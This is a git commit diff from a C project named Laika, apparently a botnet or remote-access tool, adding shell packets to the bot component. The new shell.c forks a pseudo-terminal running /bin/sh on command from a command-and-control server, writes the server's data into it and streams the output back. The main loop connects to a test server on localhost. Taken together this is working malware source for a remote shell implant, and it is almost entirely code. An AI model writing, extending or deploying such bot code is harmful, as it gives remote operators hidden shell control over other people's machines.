Added LAIKAPKT_SHELL_*, fixed variadic packets

- added bot/shell.[ch]
- simple demo cnc which runs 'ls -a' on the connect peer

bot/include/bot.h

@@ -8,10 +8,12 @@
 #include "lpolllist.h"
 #include "lrsa.h"
 
+struct sLaika_shell;
 struct sLaika_bot {
     uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
     struct sLaika_pollList pList;
     struct sLaika_peer *peer;
+    struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
 };
 
 struct sLaika_bot *laikaB_newBot(void);

bot/include/shell.h

@@ -0,0 +1,25 @@
+#ifndef LAIKA_SHELL_H
+#define LAIKA_SHELL_H
+
+#include <stddef.h>
+
+struct sLaika_bot;
+struct sLaika_shell {
+    int pid;
+    int fd;
+    int id;
+};
+
+struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id);
+void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
+
+/* handles reading & writing to shell pipes */
+bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
+bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
+
+/* packet handlers */
+void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
+void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
+void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
+
+#endif

bot/src/bot.c

@@ -2,12 +2,15 @@
 #include "lrsa.h"
 #include "lerror.h"
 #include "bot.h"
+#include "shell.h"
 
 LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
+    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
+    [LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t),
+    [LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t),
 };
 
-void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
     struct sLaika_bot *bot = (struct sLaika_bot*)uData;
     uint8_t endianness = laikaS_readByte(&peer->sock);
 
@@ -16,7 +19,10 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
 }
 
 PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse
+    [LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse,
+    [LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen,
+    [LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose,
+    [LAIKAPKT_SHELL_DATA] = laikaB_handleShellData,
 };
 
 struct sLaika_bot *laikaB_newBot(void) {
@@ -25,6 +31,8 @@ struct sLaika_bot *laikaB_newBot(void) {
     char *tempIPBuf;
     size_t _unused;
 
+    memset(bot->shells, 0, sizeof(bot->shells));
+
     laikaP_initPList(&bot->pList);
     bot->peer = laikaS_newPeer(
         laikaB_handlerTbl,
@@ -72,8 +80,17 @@ struct sLaika_bot *laikaB_newBot(void) {
 }
 
 void laikaB_freeBot(struct sLaika_bot *bot) {
+    int i;
+
     laikaP_cleanPList(&bot->pList);
     laikaS_freePeer(bot->peer);
+
+    /* clear shells */
+    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
+        if (bot->shells[i])
+            laikaB_freeShell(bot, bot->shells[i]);
+    }
+
     laikaM_free(bot);
 }
 
@@ -104,10 +121,21 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
         LAIKA_ERROR("failed to send handshake request!\n")
 }
 
+void laikaB_flushQueue(struct sLaika_bot *bot) {
+    /* flush pList's outQueue */
+    if (bot->pList.outCount > 0) {
+        if (!laikaS_handlePeerOut(bot->peer))
+            laikaS_kill(&bot->peer->sock);
+
+        laikaP_resetOutQueue(&bot->pList);
+    }
+}
+
 bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
     struct sLaika_pollEvent *evnt;
     int numEvents;
 
+    laikaB_flushQueue(bot);
     evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
 
     if (numEvents == 0) /* no events? timeout was reached */
@@ -127,13 +155,6 @@ _BOTKILL:
     laikaS_kill(&bot->peer->sock);
 LAIKA_TRYEND
 
-    /* flush pList's outQueue */
-    if (bot->pList.outCount > 0) {
-        if (!laikaS_handlePeerOut(bot->peer))
-            laikaS_kill(&bot->peer->sock);
-
-        laikaP_resetOutQueue(&bot->pList);
-    }
-
+    laikaB_flushQueue(bot);
     return true;
 }

bot/src/main.c

@@ -1,18 +1,39 @@
 #include <stdio.h>
 
 #include "lerror.h"
+#include "ltask.h"
 #include "bot.h"
+#include "shell.h"
+
+struct sLaika_taskService tService;
+
+void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
+    struct sLaika_shell *shell;
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    int i;
+
+    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
+        shell = bot->shells[i];
+        if (shell) {
+            laikaB_readShell(bot, shell);
+        }
+    }
+}
 
 int main(int argv, char **argc) {
     struct sLaika_bot *bot = laikaB_newBot();
 
+    /* init task service */
+    laikaT_initTaskService(&tService);
+    laikaT_newTask(&tService, 100, shellTask, (void*)bot);
+
     /* connect to test CNC */
     laikaB_connectToCNC(bot, "127.0.0.1", "13337");
 
     /* while connection is still alive, poll bot */
     while (laikaS_isAlive((&bot->peer->sock))) {
-        if (!laikaB_poll(bot, 1000)) {
-            LAIKA_DEBUG("no events!\n");
+        if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
+            laikaT_pollTasks(&tService);
         }
     }
 

bot/src/shell.c

@@ -0,0 +1,156 @@
+#include <unistd.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <pty.h>
+
+#include "lerror.h"
+#include "lmem.h"
+#include "bot.h"
+#include "shell.h"
+
+struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
+    struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
+    shell->id = id;
+
+    shell->pid = forkpty(&shell->fd, NULL, NULL, NULL);
+
+    if (shell->pid == 0) {
+        /* child process, clone & run shell */
+        execlp("/bin/sh", "sh", (char*) NULL);
+        exit(0);
+    }
+
+    /* make sure our calls to read() & write() do not block */
+    if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
+        laikaB_freeShell(bot, shell);
+        LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
+    }
+
+    bot->shells[id] = shell;
+    return shell;
+}
+
+void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    /* kill the shell */
+    kill(shell->pid, SIGTERM);
+    close(shell->fd);
+
+    bot->shells[shell->id] = NULL;
+
+    laikaM_free(shell);
+}
+
+bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+
+    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
+
+    if (rd > 0) {
+        /* we read some input! send to cnc */
+        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
+        laikaS_writeByte(sock, shell->id);
+        laikaS_write(sock, readBuf, rd);
+        laikaS_endVarPacket(peer);
+    } else if (rd == -1) {
+        if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
+            return true; /* recoverable, there was no data to read */
+        /* not EWOULD or EAGAIN, must be an error! so close the shell */
+
+        /* tell cnc shell is closed */
+        laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+        laikaS_writeByte(sock, shell->id);
+        laikaS_endOutPacket(peer);
+
+        /* kill shell */
+        laikaB_freeShell(bot, shell);
+        return false;
+    }
+
+    return true;
+}
+
+bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+    size_t nLeft;
+    int nWritten;
+
+    nLeft = length;
+    while (nLeft > 0) {
+        if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
+            /* some error occurred */
+            if (length == nLeft) {
+                /* unrecoverable error */
+
+                /* tell cnc shell is closed */
+                laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+                laikaS_writeByte(sock, shell->id);
+                laikaS_endOutPacket(peer);
+
+                /* kill shell */
+                laikaB_freeShell(bot, shell);
+                return false;
+            } else { /* recoverable */
+                break;
+            }
+        } else if (nWritten == 0) {
+            break;
+        }
+        nLeft -= nWritten;
+        buf += nWritten;
+    }
+
+    return true;
+}
+
+/* ================================================[[ Handlers ]]================================================ */
+
+void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    uint8_t id = laikaS_readByte(&peer->sock);
+
+    /* check if shell id is in use */
+    if (id >= LAIKA_MAX_SHELLS || bot->shells[id])
+        LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id);
+
+    /* open shell */
+    laikaB_newShell(bot, id);
+}
+
+void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    uint8_t id = laikaS_readByte(&peer->sock);
+
+    /* check if shell id is in use */
+    if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL)
+        LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id);
+
+    /* close shell */
+    laikaB_freeShell(bot, bot->shells[id]);
+}
+
+void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    struct sLaika_shell *shell;
+    uint8_t id;
+
+    if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1))
+        LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n");
+
+    id = laikaS_readByte(&peer->sock);
+
+    /* sanity check id & validate shell */
+    if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL)
+        LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id)
+
+    /* read data buf */
+    laikaS_read(&peer->sock, buf, sz - 1);
+
+    /* write to shell */
+    laikaB_writeShell(bot, shell, buf, sz - 1);
+}